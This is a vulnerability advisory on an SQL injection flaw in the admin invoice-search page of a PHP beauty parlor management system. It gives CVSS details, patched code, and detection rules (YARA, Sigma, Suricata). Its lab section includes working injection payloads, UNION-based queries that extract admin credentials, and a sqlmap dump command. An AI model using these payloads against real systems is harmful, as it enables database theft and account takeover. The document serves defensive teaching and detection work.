CVE-2025-14989

Executive Summary

CVE-2025-14989 is a critical SQL injection vulnerability discovered in Campcodes Complete Online Beauty Parlor Management System version 1.0. The flaw resides in the /admin/search-invoices.php file, where unsanitized user input is directly concatenated into SQL queries. An unauthenticated remote attacker can exploit this to extract, modify, or delete database contents, potentially gaining full administrative control over the application. The exploit is publicly available, and no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity at the time of analysis, but the public availability of exploit code increases the risk.

Supply Chain & Package Security

This is a standalone PHP web application, not an NPM, PyPI, Go, or Ruby package. No supply chain package security concerns apply.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no victim action required.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – full database read access.
• Integrity Impact: High (I:H) – ability to modify or delete data.
• Availability Impact: High (A:H) – potential for denial of service via database corruption.

Threat Level: High. The combination of remote exploitability, no authentication requirement, and public exploit code makes this a critical risk for any exposed instance.

Deep Dive & Mechanics

The vulnerability exists in the search-invoices.php script, which is part of the admin panel. The script likely accepts a GET or POST parameter (e.g., search or id) and uses it directly in a SQL query without proper sanitization or parameterized queries.

Vulnerable Code Pattern (Hypothetical):

<?php
$search = $_GET['search'];
$query = "SELECT * FROM invoices WHERE invoice_number LIKE '%$search%'";
$result = mysqli_query($conn, $query);
?>

An attacker can inject SQL commands by providing input such as:

' OR '1'='1' -- -

This would result in the query:

SELECT * FROM invoices WHERE invoice_number LIKE '%' OR '1'='1' -- -%'

The OR '1'='1' condition makes the WHERE clause always true, returning all rows. The -- - comments out the rest of the query, preventing syntax errors.

Database Enumeration: Using UNION-based injection, an attacker can extract data from other tables:

' UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM information_schema.tables -- -

Blind Injection: If error messages are suppressed, time-based or boolean-based blind injection can be used to extract data character by character.

Vulnerable vs. Patched Code

Vulnerable Code (Hypothetical):

<?php
$search = $_GET['search'];
$query = "SELECT * FROM invoices WHERE invoice_number LIKE '%$search%'";
$result = mysqli_query($conn, $query);
?>

Patched Code (Using Prepared Statements):

<?php
$search = $_GET['search'];
$stmt = $conn->prepare("SELECT * FROM invoices WHERE invoice_number LIKE ?");
$searchParam = "%$search%";
$stmt->bind_param("s", $searchParam);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses a prepared statement with a parameterized query, which prevents SQL injection by separating SQL logic from user data. The bind_param function ensures the input is treated as a string literal, not executable code.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Download the vulnerable application from Campcodes or a trusted source.
2. Set up a local web server (e.g., XAMPP, LAMP) with PHP and MySQL.
3. Import the provided database schema and configure config.php.
4. Access the application at http://localhost/beauty-parlor/.

Exploitation Steps:

1. Identify the vulnerable endpoint: http://localhost/beauty-parlor/admin/search-invoices.php.
2. Test for SQL injection by sending a request with a single quote:

   GET /admin/search-invoices.php?search=test' HTTP/1.1
   Host: localhost
   

   If an error is returned (e.g., You have an error in your SQL syntax), the endpoint is vulnerable.
3. Use UNION-based injection to extract data. First, determine the number of columns:

   GET /admin/search-invoices.php?search=' ORDER BY 10-- - HTTP/1.1
   

   Increase or decrease the number until no error is returned.
4. Once the column count is known (e.g., 10), extract database information:

   GET /admin/search-invoices.php?search=' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- - HTTP/1.1
   

5. Extract table names:

   GET /admin/search-invoices.php?search=' UNION SELECT 1,2,3,4,5,6,7,8,9,table_name FROM information_schema.tables-- - HTTP/1.1
   

6. Extract user credentials from the admin table:

   GET /admin/search-invoices.php?search=' UNION SELECT 1,2,3,4,5,6,7,8,9,CONCAT(username,':',password) FROM admin-- - HTTP/1.1
   

Automated Exploitation with sqlmap:

sqlmap -u "http://localhost/beauty-parlor/admin/search-invoices.php?search=test" --batch --dump

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious SQL keywords in request parameters (e.g., UNION, SELECT, OR, --).
• Look for requests with a high number of parameters or unusual characters (e.g., single quotes, double dashes).
• Use a Web Application Firewall (WAF) to block SQL injection patterns.

Mitigation:

• Immediately apply input validation and parameterized queries (see patched code).
• Restrict access to the admin panel using IP whitelisting or VPN.
• Implement least privilege for the database user (e.g., no DROP or ALTER permissions).
• Enable detailed logging and alerting for failed SQL queries.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /admin/search-invoices.php containing SQL keywords (e.g., UNION, SELECT, OR, --).
• Unusual response sizes (e.g., large data dumps) from the vulnerable endpoint.
• Multiple requests with varying ORDER BY or UNION SELECT payloads.

File IOCs:

• Modified or newly created files in the web root (e.g., webshells like cmd.php).
• Suspicious entries in the web server access log (e.g., %27 for single quote, -- for comment).

Database IOCs:

• Unexpected rows in the admin table (e.g., new user accounts).
• Queries in the MySQL general log containing injection patterns.

Sample Suricata Rule (see Detection Engineering):

alert http any any -> any any (msg:"CVE-2025-14989 SQL Injection Attempt"; content:"/admin/search-invoices.php"; http_uri; content:"UNION"; http_uri; nocase; sid:1000001; rev:1;)

Detection Engineering

YARA Rule

rule CVE_2025_14989_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-14989 in Campcodes Beauty Parlor Management System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-14989"
    strings:
        $uri = "/admin/search-invoices.php"
        $sqli1 = "UNION" nocase
        $sqli2 = "SELECT" nocase
        $sqli3 = "OR" nocase
        $sqli4 = "1=1" nocase
        $sqli5 = "--" nocase
        $sqli6 = "DROP" nocase
        $sqli7 = "INSERT" nocase
    condition:
        $uri and (any of ($sqli*))
}

Sigma Rule

title: CVE-2025-14989 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting /admin/search-invoices.php in Campcodes Beauty Parlor Management System
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14989
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "UNION"
            - "SELECT"
            - "OR"
            - "1=1"
            - "--"
            - "DROP"
            - "INSERT"
        cs-uri-stem|contains: "/admin/search-invoices.php"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in search queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14989 SQL Injection Attempt"; flow:to_server,established; content:"/admin/search-invoices.php"; http_uri; content:"UNION"; http_uri; nocase; content:"SELECT"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-14989 SQL Injection Attempt - OR 1=1"; flow:to_server,established; content:"/admin/search-invoices.php"; http_uri; content:"OR"; http_uri; nocase; content:"1=1"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-14989 SQL Injection Attempt - Comment"; flow:to_server,established; content:"/admin/search-invoices.php"; http_uri; content:"--"; http_uri; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If the system is exposed to the internet, take it offline or restrict access to trusted IPs only.
2. Apply virtual patching: Use a WAF (e.g., ModSecurity) with rules to block SQL injection patterns targeting the vulnerable endpoint.
3. Review database logs: Check for any signs of data exfiltration or unauthorized modifications.

Long-Term Fix:

1. Rewrite the vulnerable code: Replace all dynamic SQL queries with prepared statements or parameterized queries (see patched code example).
2. Implement input validation: Whitelist allowed characters for search parameters (e.g., alphanumeric and spaces only).
3. Update the application: Monitor the vendor's website for an official patch. If none is released, consider migrating to a different, actively maintained solution.
4. Conduct a security audit: Perform a full code review and penetration test on the application to identify other vulnerabilities.

Compensating Controls:

• Enforce least privilege for the database user (e.g., read-only for search operations).
• Enable detailed logging and real-time alerting for suspicious database queries.
• Use a database firewall to block queries containing known injection patterns.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert